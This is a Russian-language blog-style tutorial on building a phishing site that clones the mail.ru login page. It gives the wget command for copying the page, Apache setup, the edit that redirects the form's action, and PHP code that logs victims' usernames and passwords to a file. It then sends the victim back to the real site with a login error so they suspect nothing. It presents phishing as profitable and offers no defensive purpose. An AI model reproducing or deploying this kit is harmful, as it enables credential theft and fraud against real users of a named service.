March 9, 2020

Фишинг, создание сайта


Технически процесс можно разделить на два простых этапа:

  1. Подготовка копии сайта
  2. Нахождение способа заставить жертву перейти на фэйковый сайт.


Отойдем немного к теории, фишинг это очень прибыльная тема. С помощью фишинга можно проворачивать как массовые взломы, так и точечные. На самом деле тут необходимо просто продумать схему - как запутать людей и чтоб они перешли на ваш фэйковый сайт и ввели свои данные. Здесь, как ни странно, все решает социальная инженерия, но об этом чуть позже...


Начнем с создания клона сайта:

Вид сайта задаёт html, а интерактивные элементы на странице управляются JavaScript. Так же в коде сайта могут быть ссылки на сторонние ресурсы, такие как картинки, аудиофайлы и т.п. Поэтому для создания копии не достаточно просто скопировать весь код страницы, надо перенести так же и сторонние ресурсы или переправить ссылки на них. Помимо этого нам нужно изменить логику работы приложения, чтобы данные отправлялись к нам на сервер и сохранялись там.


Для примера попробуем создать реплику сайта страницы авторизации Mail. Её адрес https://account.mail.ru/login, чтобы нам просмотреть исходный код страницы в firefox достаточно нажать комбинацию клавиш Ctrl+U. Но нам не надо вручную всё копировать и сохранять все картинки: в Linux есть более простое решение. В консоли вводим команду wget --page-requisites --convert-links https://account.mail.ru/login


После этого у нас в папке, где была открыта консоль, появится папка account.mail.ru в которой будет файл login. Если открыть его в браузере, то мы увидим то же, что и на странице входа mail. Теперь надо создать сервер на котором будет храниться данная страница. Для теста создадим его локально, но процесс настройки на реальным сервере будет практически таким же. Убеждаемся, что web сервер работает. Для этого надо в браузере перейти на страницу http://127.0.0.1/


Если ничего не отобразилось, надо перезапустить веб-сервер 2 командами

source /etc/apache2/envvars

systemctl restart apache2


После того как приветственная страница отображается, нужно скопировать в папку сервера скачанные wget'ом файлы. Для этого переходим в /var/www/html/ и переносим туда ранее скачанный файл login.

Теперь переходим в браузере по адресу login и нам отображается страница авторизации, то храниться она уже на нашем сервере. Теперь надо реализовать функцию сохранения паролей, для этого надо в текстовом редакторе открыть файл login и найти там страницу, на которую отправляются данные пользователя(за это отвечает параметр action). Для этого нажимаем ctrl+F и набираем action="https://auth.mail.ru/cgi-bin/auth"

Меняем найденный текст на action="auth.php".


Затем в папке с login создаём новый файл auth.php. Открываем его текстовым редактором и пишем туда

<?php

file_put_contents('log/login_log.txt', "Username: ".$_POST['Username']." Password: ".$_POST['Password'].'\n', FILE_APPEND);

?>


file_put_contents функция для записи данных в файл, log/login_log.txt - путь к файлу. $_POST['Username'] - имя пользователя из формы, а $_POST['Password'] пароль. FILE_APPEND указывает, что файл не надо каждый раз перезаписывать, а новые данные добавляются в конец.


Теперь надо создать папку, куда будут сохраняться данные. Для этого в папке в login надо в пустом месте кликнуть правой кнопкой мыши и выбрать Open in terminal.


В появившимся окне вводим

mkdir log

chmod 777 log


Всё, теперь введённый в форму логин и пароль сохраняться у нас на сервере. А чтобы жертва ничего не заподозрила перенаправим её на сайт mail с ошибкой входа.

Для этого в auth.php перед ?> добавим строку и впишем туда.

header('Location: https://account.mail.ru/login?fail=1');


Вообщем ничего сложного и все уже готово. Пробуем зайти на http://127.0.0.1/login и ввести туда логин и пароль. Нас перенаправит на реальный сайт mail с ошибкой входа, а данные, которые ввёл пользователь, сохраняться в файле /var/www/html/log/login_log.tx